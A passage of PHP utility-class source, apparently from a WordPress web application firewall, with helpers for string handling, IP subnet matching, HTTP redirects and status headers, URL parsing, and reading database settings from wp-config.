			$string, $start, $length
		));
	}

	/**
	 * @param $haystack
	 * @param $needle
	 * @param int $offset
	 * @return mixed
	 */
	public static function strpos($haystack, $needle, $offset = 0) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strpos', array(
			(string)$haystack,
			(string)$needle,
			(int)$offset,
		));
	}

	/**
	 * @param string $haystack
	 * @param string $needle
	 * @param int $offset
	 * @param int $length
	 * @return mixed
	 */
	public static function substr_count($haystack, $needle, $offset = 0, $length = null) {
		if ($length === null) { $length = self::strlen($haystack); }
		return self::callMBSafeStrFunction('substr_count', array(
			(string)$haystack, (string)$needle, (int)$offset, $length
		));
	}

	/**
	 * @param $string
	 * @return mixed
	 */
	public static function strtoupper($string) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strtoupper', $args);
	}

	/**
	 * @param string $haystack
	 * @param string $needle
	 * @param int $offset
	 * @return mixed
	 */
	public static function strrpos($haystack, $needle, $offset = 0) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strrpos', $args);
	}

	/**
	 * @param string $val An ini byte size value (e.g., 20M)
	 * @return int
	 */
	public static function iniSizeToBytes($val) {
		$val = trim($val);
		if (preg_match('/^\d+$/', $val)) {
			return (int) $val;
		}

		$last = strtolower(substr($val, -1));
		$val = (int) substr($val, 0, -1);
		switch ($last) {
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return $val;
	}

	public static function reverseLookup($IP) {
		$IPn = self::inet_pton($IP);
		// This function works for IPv4 or IPv6
		$host = null;
		if (function_exists('gethostbyaddr') && is_callable('gethostbyaddr')) {
			$host = @gethostbyaddr($IP);
		}
		if (!$host) {
			$ptr = false;
			if (filter_var($IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
				$ptr = implode(".", array_reverse(explode(".", $IP))) . ".in-addr.arpa";
			} else if (filter_var($IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false) {
				$ptr = implode(".", array_reverse(str_split(bin2hex($IPn)))) . ".ip6.arpa";
			}

			if ($ptr && function_exists('dns_get_record') && is_callable('dns_get_record')) {
				$host = @dns_get_record($ptr, DNS_PTR);
				if ($host && is_array($host) && count($host)) {
					$host = $host[0]['target'];
				}
			}
		}
		if (!$host) {
			return '';
		}
		return $host;
	}

	public static function patternToRegex($pattern, $mod = 'i', $sep = '/') {
		$pattern = preg_quote(trim($pattern), $sep);
		$pattern = str_replace(' ', '\s', $pattern);
		return $sep . '^' . str_replace('\*', '.*', $pattern) . '$' . $sep . $mod;
	}

	public static function isUABlocked($uaPattern, $ua) { // takes a pattern using asterisks as wildcards, turns it into regex and checks it against the visitor UA returning true if blocked
		return fnmatch($uaPattern, $ua, FNM_CASEFOLD);
	}

	public static function isRefererBlocked($refPattern, $referer) {
		return fnmatch($refPattern, $referer, FNM_CASEFOLD);
	}

	public static function extractBareURI($URL) {
		$URL = (string)$URL;
		$URL = preg_replace('/^https?:\/\/[^\/]+/i', '', $URL); //strip of method and host
		$URL = preg_replace('/\#.*$/', '', $URL); //strip off fragment
		$URL = preg_replace('/\?.*$/', '', $URL); //strip off query string
		return $URL;
	}

	public static function extractHostname($str) {
		if (preg_match('/https?:\/\/([a-zA-Z0-9\.\-]+)(?:\/|$)/i', $str, $matches)) {
			return strtolower($matches[1]);
		}
		else {
			return false;
		}
	}

	public static function redirect($location, $status = 302) {
		$is_apache = (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false);
		$is_IIS = !$is_apache && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false);

		self::doNotCache();

		if (!$is_IIS && PHP_SAPI != 'cgi-fcgi') {
			self::statusHeader($status); // This causes problems on IIS and some FastCGI setups
		}

		header("Location: {$location}", true, $status);
		exit;
	}

	public static function statusHeader($code) {
		$code = abs(intval($code));

		$statusCodes = array(
			100 => 'Continue',
			101 => 'Switching Protocols',
			102 => 'Processing',

			200 => 'OK',
			201 => 'Created',
			202 => 'Accepted',
			203 => 'Non-Authoritative Information',
			204 => 'No Content',
			205 => 'Reset Content',
			206 => 'Partial Content',
			207 => 'Multi-Status',
			226 => 'IM Used',

			300 => 'Multiple Choices',
			301 => 'Moved Permanently',
			302 => 'Found',
			303 => 'See Other',
			304 => 'Not Modified',
			305 => 'Use Proxy',
			306 => 'Reserved',
			307 => 'Temporary Redirect',
			308 => 'Permanent Redirect',

			400 => 'Bad Request',
			401 => 'Unauthorized',
			402 => 'Payment Required',
			403 => 'Forbidden',
			404 => 'Not Found',
			405 => 'Method Not Allowed',
			406 => 'Not Acceptable',
			407 => 'Proxy Authentication Required',
			408 => 'Request Timeout',
			409 => 'Conflict',
			410 => 'Gone',
			411 => 'Length Required',
			412 => 'Precondition Failed',
			413 => 'Request Entity Too Large',
			414 => 'Request-URI Too Long',
			415 => 'Unsupported Media Type',
			416 => 'Requested Range Not Satisfiable',
			417 => 'Expectation Failed',
			418 => 'I\'m a teapot',
			421 => 'Misdirected Request',
			422 => 'Unprocessable Entity',
			423 => 'Locked',
			424 => 'Failed Dependency',
			426 => 'Upgrade Required',
			428 => 'Precondition Required',
			429 => 'Too Many Requests',
			431 => 'Request Header Fields Too Large',
			451 => 'Unavailable For Legal Reasons',

			500 => 'Internal Server Error',
			501 => 'Not Implemented',
			502 => 'Bad Gateway',
			503 => 'Service Unavailable',
			504 => 'Gateway Timeout',
			505 => 'HTTP Version Not Supported',
			506 => 'Variant Also Negotiates',
			507 => 'Insufficient Storage',
			510 => 'Not Extended',
			511 => 'Network Authentication Required',
		);

		$description = (isset($statusCodes[$code]) ? $statusCodes[$code] : '');

		$protocol = $_SERVER['SERVER_PROTOCOL'];
		if (!in_array($protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0'))) {
			$protocol = 'HTTP/1.0';
		}

		$header = "{$protocol} {$code} {$description}";
		@header($header, true, $code);
	}

	public static function doNotCache() {
		header("Pragma: no-cache");
		header("Cache-Control: no-cache, must-revalidate, private, max-age=0");
		header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); //In the past
		if (!defined('DONOTCACHEPAGE')) { define('DONOTCACHEPAGE', true); }
		if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
		if (!defined('DONOTCDN')) { define('DONOTCDN', true); }
		if (!defined('DONOTCACHEOBJECT')) { define('DONOTCACHEOBJECT', true); }
	}
	
	/**
	 * Check if an IP address is in a network block
	 *
	 * @param string	$subnet	Single IP or subnet in CIDR notation (e.g. '192.168.100.0' or '192.168.100.0/22')
	 * @param string	$ip		IPv4 or IPv6 address in dot or colon notation
	 * @return boolean
	 */
	public static function subnetContainsIP($subnet, $ip) {
		static $_network_cache = array();
		static $_ip_cache = array();
		static $_masks = array(
			0 => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			1 => "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			2 => "\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			3 => "\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			4 => "\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			5 => "\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			6 => "\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			7 => "\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			8 => "\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			9 => "\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			10 => "\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			11 => "\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			12 => "\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			13 => "\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			14 => "\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			15 => "\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			16 => "\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			17 => "\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			18 => "\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			19 => "\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			20 => "\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			21 => "\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			22 => "\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			23 => "\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			24 => "\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			25 => "\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			26 => "\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			27 => "\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			28 => "\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			29 => "\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			30 => "\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			31 => "\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			32 => "\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			33 => "\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			34 => "\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			35 => "\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			36 => "\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			37 => "\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			38 => "\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			39 => "\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			40 => "\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			41 => "\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			42 => "\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			43 => "\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			44 => "\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			45 => "\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			46 => "\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			47 => "\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			48 => "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			49 => "\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			50 => "\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			51 => "\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			52 => "\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			53 => "\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			54 => "\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			55 => "\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			56 => "\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			57 => "\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00",
			58 => "\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00",
			59 => "\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00",
			60 => "\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00",
			61 => "\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00",
			62 => "\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00",
			63 => "\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00",
			64 => "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00",
			65 => "\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00",
			66 => "\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00",
			67 => "\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00",
			68 => "\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00",
			69 => "\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00",
			70 => "\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00",
			71 => "\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00",
			72 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00",
			73 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00",
			74 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00",
			75 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00",
			76 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00",
			77 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00",
			78 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00",
			79 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00",
			80 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00",
			81 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00",
			82 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00",
			83 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00",
			84 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00",
			85 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00",
			86 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00",
			87 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00",
			88 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00",
			89 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00",
			90 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00",
			91 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00",
			92 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00",
			93 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00",
			94 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00",
			95 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00",
			96 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00",
			97 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00",
			98 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00",
			99 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00",
			100 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00",
			101 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00",
			102 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00",
			103 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00",
			104 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00",
			105 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00",
			106 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00",
			107 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00",
			108 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00",
			109 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00",
			110 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00",
			111 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00",
			112 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00",
			113 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00",
			114 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00",
			115 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00",
			116 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00",
			117 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00",
			118 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00",
			119 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00",
			120 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00",
			121 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80",
			122 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0",
			123 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0",
			124 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0",
			125 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8",
			126 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc",
			127 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe",
			128 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff",
		);
		/*
		 * The above is generated by:
		 * 
		   function gen_mask($prefix, $size = 128) {
				//Workaround to avoid overflow, split into four pieces			
				$mask_1 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 1 * $size / 4 - $prefix))) - 1);
				$mask_2 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 2 * $size / 4 - $prefix))) - 1);
				$mask_3 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 3 * $size / 4 - $prefix))) - 1);
				$mask_4 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 4 * $size / 4 - $prefix))) - 1);
				return ($mask_1 ? pack('N', $mask_1) : "\0\0\0\0") . ($mask_2 ? pack('N', $mask_2) : "\0\0\0\0") . ($mask_3 ? pack('N', $mask_3) : "\0\0\0\0") . ($mask_4 ? pack('N', $mask_4) : "\0\0\0\0");
			}
			
			$masks = array();
			for ($i = 0; $i <= 128; $i++) {
				$mask = gen_mask($i);
				$chars = str_split($mask);
				$masks[] = implode('', array_map(function($c) { return '\\x' . bin2hex($c); }, $chars));
			}
			
			echo 'array(' . "\n";
			foreach ($masks as $index => $m) {
				echo "\t{$index} => \"{$m}\",\n";
			}
			echo ')';
		 *
		 */
		
		if (isset($_network_cache[$subnet])) {
			list($bin_network, $prefix, $masked_network) = $_network_cache[$subnet];
			$mask = $_masks[$prefix];
		}
		else {
			list($network, $prefix) = array_pad(explode('/', $subnet, 2), 2, null);
			if (filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
				// If no prefix was supplied, 32 is implied for IPv4
				if ($prefix === null) {
					$prefix = 32;
				}
				
				// Validate the IPv4 network prefix
				if ($prefix < 0 || $prefix > 32) {
					return false;
				}
				
				// Increase the IPv4 network prefix to work in the IPv6 address space
				$prefix += 96;
			}
			else {
				// If no prefix was supplied, 128 is implied for IPv6
				if ($prefix === null) {
					$prefix = 128;
				}
				
				// Validate the IPv6 network prefix
				if ($prefix < 1 || $prefix > 128) {
					return false;
				}
			}
			$mask = $_masks[$prefix];
			$bin_network = self::inet_pton($network);
			$masked_network = $bin_network & $mask;
			$_network_cache[$subnet] = array($bin_network, $prefix, $masked_network);
		}
		
		if (isset($_ip_cache[$ip]) && isset($_ip_cache[$ip][$prefix])) {
			list($bin_ip, $masked_ip) = $_ip_cache[$ip][$prefix];
		}
		else {
			$bin_ip = self::inet_pton($ip);
			$masked_ip = $bin_ip & $mask;
			if (!isset($_ip_cache[$ip])) {
				$_ip_cache[$ip] = array();
			}
			$_ip_cache[$ip][$prefix] = array($bin_ip, $masked_ip);
		}
		
		return ($masked_ip === $masked_network);
	}

	/**
	 * Behaves exactly like PHP's parse_url but uses WP's compatibility fixes for early PHP 5 versions.
	 *
	 * @param string $url
	 * @param int $component
	 * @return mixed
	 */
	public static function parse_url($url, $component = -1) {
		$to_unset = array();
		$url = strval($url);

		if (substr($url, 0, 2) === '//') {
			$to_unset[] = 'scheme';
			$url = 'placeholder:' . $url;
		}
		elseif (substr($url, 0, 1) === '/') {
			$to_unset[] = 'scheme';
			$to_unset[] = 'host';
			$url = 'placeholder://placeholder' . $url;
		}

		$parts = @parse_url($url);

		if ($parts === false || !is_array($parts)) { // Parsing failure
			return $parts;
		}

		// Remove the placeholder values
		foreach ($to_unset as $key) {
			unset($parts[$key]);
		}

		if ($component === -1) {
			return $parts;
		}

		$translation = array(
			PHP_URL_SCHEME   => 'scheme',
			PHP_URL_HOST     => 'host',
			PHP_URL_PORT     => 'port',
			PHP_URL_USER     => 'user',
			PHP_URL_PASS     => 'pass',
			PHP_URL_PATH     => 'path',
			PHP_URL_QUERY    => 'query',
			PHP_URL_FRAGMENT => 'fragment',
		);

		$key = false;
		if (isset($translation[$component])) {
			$key = $translation[$component];
		}

		if ($key !== false && is_array($parts) && isset($parts[$key])) {
			return $parts[$key];
		}

		return null;
	}

	/**
	 * Validates the URL, supporting both scheme-relative and path-relative formats.
	 *
	 * @param $url
	 * @return mixed
	 */
	public static function validate_url($url) {
		$url = strval($url);

		if (substr($url, 0, 2) === '//') {
			$url = 'placeholder:' . $url;
		}
		elseif (substr($url, 0, 1) === '/') {
			$url = 'placeholder://placeholder' . $url;
		}

		return filter_var($url, FILTER_VALIDATE_URL);
	}

	public static function rawPOSTBody() {
		// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		global $HTTP_RAW_POST_DATA;
		// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		if (empty($HTTP_RAW_POST_DATA)) { //Defined if always_populate_raw_post_data is on, PHP < 7, and the encoding type is not multipart/form-data
			$avoidPHPInput = false;
			try {
				$avoidPHPInput = wfWAF::getSharedStorageEngine() && wfWAF::getSharedStorageEngine()->getConfig('avoid_php_input', false);
			}
			catch (Exception $e) {
				//Ignore
			}
			
			if ($avoidPHPInput) { //Some custom PHP builds break reading from php://input
				//Reconstruct the best possible approximation of it from $_POST if populated -- won't help JSON or other raw payloads
				$data = http_build_query($_POST, '', '&');
			}
			else {
				$data = file_get_contents('php://input'); //Available if the encoding type is not multipart/form-data; it can only be read once prior to PHP 5.6 so we save it in $HTTP_RAW_POST_DATA for WP Core and others
				
				//For our purposes, we don't currently need the raw POST body if it's multipart/form-data since the data will be in $_POST/$_FILES. If we did, we could reconstruct the body here.
				
				// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
				$HTTP_RAW_POST_DATA = $data;
			}
		}
		else {
			// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
			$data =& $HTTP_RAW_POST_DATA;
		}
		return $data;
	}

	/**
	 * Returns the current timestamp, adjusted as needed to get close to what we consider a true timestamp. We use this
	 * because a significant number of servers are using a drastically incorrect time.
	 *
	 * @return int
	 */
	public static function normalizedTime() {
		$offset = 0;
		try {
			$offset = wfWAF::getInstance()->getStorageEngine()->getConfig('timeoffset_ntp', false, 'synced');
			if ($offset === false) {
				$offset = wfWAF::getInstance()->getStorageEngine()->getConfig('timeoffset_wf', false, 'synced');
			}
		}
		catch (Exception $e) {
			//Ignore
		}
		return time() + ((int) $offset);
	}

	/**
	 * @param $file
	 * @return array|bool
	 */
	public static function extractCredentialsWPConfig($file, &$return = array()) {
		$configContents = file_get_contents($file);
		$tokens = token_get_all($configContents);
		$tokens = array_values(array_filter($tokens, 'wfWAFUtils::_removeUnneededTokens'));

		$parsedConstants = array();
		$parsedVariables = array();
		for ($i = 0; $i < count($tokens); $i++) {
			$token = $tokens[$i];
			if (is_array($token)) {
				if (token_name($token[0]) === 'T_STRING' && strtolower($token[1]) === 'define') {
					$startParenToken = $tokens[$i + 1];
					$constantNameToken = $tokens[$i + 2];
					$commaToken = $tokens[$i + 3];
					$constantValueToken = $tokens[$i + 4];
					$endParenToken = $tokens[$i + 5];
					if (
						!is_array($startParenToken) && $startParenToken === '(' &&
						is_array($constantNameToken) && token_name($constantNameToken[0]) === 'T_CONSTANT_ENCAPSED_STRING' &&
						!is_array($commaToken) && $commaToken === ',' &&
						is_array($constantValueToken) && in_array(token_name($constantValueToken[0]), array('T_CONSTANT_ENCAPSED_STRING', 'T_STRING')) &&
						!is_array($endParenToken) && $endParenToken === ')'
					) {
						if (token_name($constantValueToken[0]) === 'T_STRING') {
							$value = defined($constantValueToken[1]) ? constant($constantValueToken[1]) : null;
						}
						else {
							$value = self::substr($constantValueToken[1], 1, -1);
						}
						$parsedConstants[self::substr($constantNameToken[1], 1, -1)] = $value;
					}
				}
				if (token_name($token[0]) === 'T_VARIABLE') {
					$assignmentToken = $tokens[$i + 1];
					$variableValueToken = $tokens[$i + 2];
					if (
						!is_array($assignmentToken) && $assignmentToken === '=' &&
						is_array($variableValueToken) && token_name($variableValueToken[0]) === 'T_CONSTANT_ENCAPSED_STRING'
					) {
						$parsedVariables[$token[1]] = self::substr($variableValueToken[1], 1, -1);
					}
				}
			}
		}

		$optionalConstants = array(
			'flags' => 'MYSQL_CLIENT_FLAGS'
		);
		$constants = array(
			'user'      => 'DB_USER',
			'pass'      => 'DB_PASSWORD',
			'database'  => 'DB_NAME',
			'host'      => 'DB_HOST',
			'charset'   => array('constant' => 'DB_CHARSET', 'default' => ''),
			'collation' => array('constant' => 'DB_COLLATE', 'default' => ''),
		);
		$constants += $optionalConstants;
		foreach ($constants as $key => $constant) {
			unset($defaultValue);
